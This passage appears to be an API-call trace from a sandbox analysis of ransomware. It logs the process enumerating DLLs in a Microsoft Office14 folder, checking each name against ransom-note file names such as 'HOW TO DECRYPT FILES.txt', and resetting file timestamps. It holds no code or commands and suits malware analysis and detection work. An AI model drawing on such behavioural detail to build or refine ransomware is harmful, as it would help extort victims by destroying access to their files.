(pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned="ACEODDBS.DLL" [0058.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.338] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.338] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0058.338] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.338] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEODTXT.DLL") returned 1 [0058.338] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEODTXT.DLL") returned 1 [0058.338] lstrcmpiA (lpString1="", lpString2="ACEODTXT.DLL") returned -1 [0058.338] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned="ACEODEXL.DLL" [0058.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.338] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.339] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0058.339] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.339] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEOLEDB.DLL") returned 1 [0058.339] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEOLEDB.DLL") returned 1 [0058.339] lstrcmpiA (lpString1="", lpString2="ACEOLEDB.DLL") returned -1 [0058.339] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned="ACEODTXT.DLL" [0058.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.339] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.339] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0058.339] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.339] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACER3X.DLL") returned 1 [0058.339] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACER3X.DLL") returned 1 [0058.339] lstrcmpiA (lpString1="", lpString2="ACER3X.DLL") returned -1 [0058.339] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned="ACEOLEDB.DLL" [0058.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.339] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.339] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0058.340] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.340] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACERCLR.DLL") returned 1 [0058.340] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACERCLR.DLL") returned 1 [0058.340] lstrcmpiA (lpString1="", lpString2="ACERCLR.DLL") returned -1 [0058.340] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned="ACER3X.DLL" [0058.340] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.340] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.340] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0058.340] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.340] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEREP.DLL") returned 1 [0058.340] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEREP.DLL") returned 1 [0058.340] lstrcmpiA (lpString1="", lpString2="ACEREP.DLL") returned -1 [0058.340] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned="ACERCLR.DLL" [0058.340] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.340] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.340] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0058.340] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.340] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACETXT.DLL") returned 1 [0058.341] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACETXT.DLL") returned 1 [0058.341] lstrcmpiA (lpString1="", lpString2="ACETXT.DLL") returned -1 [0058.341] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned="ACEREP.DLL" [0058.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.341] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.342] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0058.342] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.342] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEWDAT.DLL") returned 1 [0058.342] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEWDAT.DLL") returned 1 [0058.342] lstrcmpiA (lpString1="", lpString2="ACEWDAT.DLL") returned -1 [0058.342] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned="ACETXT.DLL" [0058.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.342] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.342] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0058.342] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.342] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEWSS.DLL") returned 1 [0058.342] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEWSS.DLL") returned 1 [0058.342] lstrcmpiA (lpString1="", lpString2="ACEWSS.DLL") returned -1 [0058.342] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned="ACEWDAT.DLL" [0058.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.343] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.343] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0058.343] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEXBE.DLL") returned 1 [0058.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEXBE.DLL") returned 1 [0058.343] lstrcmpiA (lpString1="", lpString2="ACEXBE.DLL") returned -1 [0058.343] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned="ACEWSS.DLL" [0058.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.343] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.343] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0058.343] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ATLCONV.DLL") returned 1 [0058.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ATLCONV.DLL") returned 1 [0058.343] lstrcmpiA (lpString1="", lpString2="ATLCONV.DLL") returned -1 [0058.343] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned="ACEXBE.DLL" [0058.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.343] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.344] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0058.344] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Csi.dll") returned 1 [0058.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Csi.dll") returned 1 [0058.344] lstrcmpiA (lpString1="", lpString2="Csi.dll") returned -1 [0058.344] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned="ATLCONV.DLL" [0058.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.344] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.344] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0058.344] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CsiSoap.dll") returned 1 [0058.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CsiSoap.dll") returned 1 [0058.344] lstrcmpiA (lpString1="", lpString2="CsiSoap.dll") returned -1 [0058.344] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned="Csi.dll" [0058.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.344] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.344] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0058.344] lstrcmpA (lpString1=".", lpString2="Cultures") returned -1 [0058.345] lstrcmpA (lpString1="..", lpString2="Cultures") returned -1 [0058.345] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned="CsiSoap.dll" [0058.345] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f81f8, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0058.346] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.346] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.346] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.346] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.346] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0058.346] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.347] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OFFICE.ODF") returned -1 [0058.347] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OFFICE.ODF") returned -1 [0058.347] lstrcmpiA (lpString1="", lpString2="OFFICE.ODF") returned -1 [0058.347] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*") returned="*.*" [0058.347] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" [0058.347] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\") returned="" [0058.351] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.351] CloseHandle (hObject=0x90) returned 1 [0058.351] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0058.351] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0058.351] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0058.351] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.351] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EXPSRV.DLL") returned -1 [0058.351] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EXPSRV.DLL") returned 1 [0058.351] lstrcmpiA (lpString1="", lpString2="EXPSRV.DLL") returned -1 [0058.351] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*") returned="*.*" [0058.351] 